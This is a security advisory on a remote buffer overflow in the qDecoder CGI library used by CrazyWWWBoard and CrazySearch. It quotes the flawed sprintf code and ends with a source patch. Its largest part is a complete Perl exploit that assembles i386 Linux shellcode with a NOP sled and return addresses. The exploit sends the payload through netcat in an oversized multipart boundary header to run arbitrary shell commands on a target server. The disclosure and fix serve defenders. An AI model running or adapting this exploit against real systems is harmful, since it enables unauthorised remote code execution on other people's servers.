COMMAND
CrazyWWWBoard
SYSTEMS AFFECTED
CrazyWWWBoard version 2000px, 2000LEpx, 98, 98PE, 3.0.1, CrazySearch 1.0.1 CGIs using qDecoder 4.0 ~ 5.0.8
PROBLEM
Jin-Ho You found following. CrazyWWWBoard is a web bulletin board
program written in C/C++. Insufficient boundary checking exists
in the qDecoder CGI library code which handles multipart/form-data
MIME entities. You can get qDecoder from
http://www.qdecoder.org
The boundary delimeter over 254 characters declared in the
Content-Type header line overruns it's buffer, and allows remote
buffer overflow attack.
There are other CGI programs using the vulnerable qDecoder, such
as CrazySearch. They have the string "_parse_multipart_data" in
the excution program.
Following codes in qDecoder.c of v4.0 ~ 5.0.8 shows the buffer
overflow bug. sprintf() can make the buffer 'boundary' overflow.
qDecoder of C++ version used in some CrazyWWW2000 series should
have the same bug.
int _parse_multipart_data(void) {
...
char boundary[0xff], boundaryEOF[0xff];
...
sprintf(boundary, "--%s", strstr(getenv("CONTENT_TYPE"), "boundary=") + strlen("boundary="));
...
}
Exploit:
#!/usr/bin/perl
# crazy.pl
#
# CrazyWWWBoard.cgi Remote Buffer Overflow Exploit for i386 Linux
#
# CGIs using qDecoder 4.0~5.0.8 are vulnerable to boundary delimeter
# over 254 characters in the header "Content-Type: multipart/form-data".
#
# nc, the netcat program is required.
#
# Programmed by Jin Ho You, jhyou@chonnam.chonnam.ac.kr, 03/26/2000
$nc_path = "nc"; # path of netcat program
$usage =
"usage: crazy.pl [options] CGI-URL\n
CGI-URL URL of the target CGI
-c command Bourne shell command
Default: '/bin/echo 00ps, Crazy!'
-o offset Offset of the egg shell code,
Recommended [-300,+300]
example)
crazy.pl http://target.com:8080/cgi-bin/vulnerable.cgi
crazy.pl -o -47 target.com/cgi-bin/vulnerable.cgi
crazy.pl -c 'echo vulnerable.cgi has a security hole! | mail root' \\
target.com/cgi-bin/vulnerable.cgi
";
require 'getopt.pl';
Getopt('oc');
if ($#ARGV < 0) {
print $usage;
exit(0);
};
$cgiurl = $ARGV[0];
$command = $opt_c ? $opt_c : "/bin/echo 00ps, Crazy!";
$offset = $opt_o ? $opt_o : 0;
$cgiurl =~ s/http:\/\///;
($host, $cgiuri) = split(/\//, $cgiurl, 2);
($host, $port) = split(/:/, $host);
$port = 80 unless $port;
$command = "/bin/echo Content-Type: text/html;/bin/echo;($command)";
$cmdlen = length($command);
$argvp = int((0x0b + $cmdlen) / 4) * 4 + 4;
$shellcode =
"\xeb\x37" # jmp 0x37
. "\x5e" # popl %esi
. "\x89\x76" . pack(C, $argvp) # movl %esi,0xb(%esi)
. "\x89\xf0" # movl %esi,%eax
. "\x83\xc0\x08" # addl $0x8,%eax
. "\x89\x46" . pack(C, $argvp + 4) # movl %eax,0xb(%esi)
. "\x89\xf0" # movl %esi,%eax
. "\x83\xc0\x0b" # addl $0xb,%eax
. "\x89\x46" . pack(C, $argvp + 8) # movl %eax,0xb(%esi)
. "\x31\xc0" # xorl %eax,%eax
. "\x88\x46\x07" # movb %eax,0x7(%esi)
. "\x4e" # dec %esi
. "\x88\x46\x0b" # movb %eax,0xb(%esi)
. "\x46" # inc %esi
. "\x88\x46" . pack(C, 0x0b + $cmdlen) # movb %eax,0xb(%esi)
. "\x89\x46" . pack(C, $argvp + 12) # movl %eax,0xb(%esi)
. "\xb0\x0b" # movb $0xb,%al
. "\x89\xf3" # movl %esi,%ebx
. "\x8d\x4e" . pack(C, $argvp) # leal 0xb(%esi),%ecx
. "\x8d\x56" . pack(C, $argvp + 12) # leal 0xb(%esi),%edx
. "\xcd\x80" # int 0x80
. "\x31\xdb" # xorl %ebx,%ebx
. "\x89\xd8" # movl %ebx,%eax
. "\x40" # inc %eax
. "\xcd\x80" # int 0x80
. "\xe8\xc4\xff\xff\xff" # call -0x3c
. "/bin/sh0-c0" # .string "/bin/sh0-c0"
. $command;
$offset -= length($command) / 2 + length($host . $port , $cgiurl);
$shelladdr = 0xbffffbd0 + $offset;
$noplen = 242 - length($shellcode);
$jump = $shelladdr + $noplen / 2;
$entries = $shelladdr + 250;
$egg = "\x90" x $noplen . $shellcode . pack(V, $jump) x 9
. pack(V, $entries) x 2 . pack(V, $jump) x 2;
$content = substr($egg, 254) .
"--\r\nContent-Disposition: form-data; name=\"0\"\r\n\r\n0\r\n--$egg--\r\n";
$contentlength = length($content);
printf STDERR "Jump to 0x%x\n", $jump;
open(HTTP, "|$nc_path $host $port");
select(HTTP); $|= 1;
print HTTP <<__HEADER__;
POST /$cgiuri HTTP/1.0
Connection: Keep-Alive
User-Agent: Mozilla/4.72 [ko] (X11; I; Linux 2.2.14 i686)
Host: $host:$port
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Encoding: gzip
Accept-Language: ko
Accept-Charset: euc-kr,*,utf-8
Content-type: multipart/form-data; boundary=$egg
Content-length: $contentlength
$content
__HEADER__
close(HTTP);
SOLUTION
CrazyWWWBoard2000LEp5-1 is safe. You can download bug-fixed Light
Edition version from
ftp://ftp.nobreak.com/pub/SOTNAL/CrazyWWWBoard2000LEp5-1/
Recently distributed CrazyWWWBoard 2000 (SOTNAL v1.5.x) should be
bug fixed.
Following patch forces boundary checking to fix the problem. If
you have the source program of CrazyWWWBoard 3.0.1 or
CrazyWWWBoard 98PE, the following patch is required. qDecoder
library must be upgrade to 6.x version.
--- qDecoder-4.0/qDecoder.c.orig Tue Nov 4 09:09:16 1997
+++ qDecoder-4.0/qDecoder.c Thu Mar 30 20:08:29 2000
@@ -180,10 +180,17 @@
int c, c_count;
int finish;
+ int boundary_len;
entries = back = NULL;
/* find boundary string */
+
+ /* force to check the boundary string length */
+ boundary_len = strlen(strstr(getenv("CONTENT_TYPE"), "boundary=") + strlen("boundary"));
+ if (boundary_len >= sizeof(boundary) - strlen("\r\n----"))
+ qError("_parse_multipart_data() : the boundary string is too long!.");
+
sprintf(boundary, "--%s", strstr(getenv("CONTENT_TYPE"), "boundary=") + strlen("boundary="));
/* This is not necessary but, I can not trust MS Explore */
qRemoveSpace(boundary);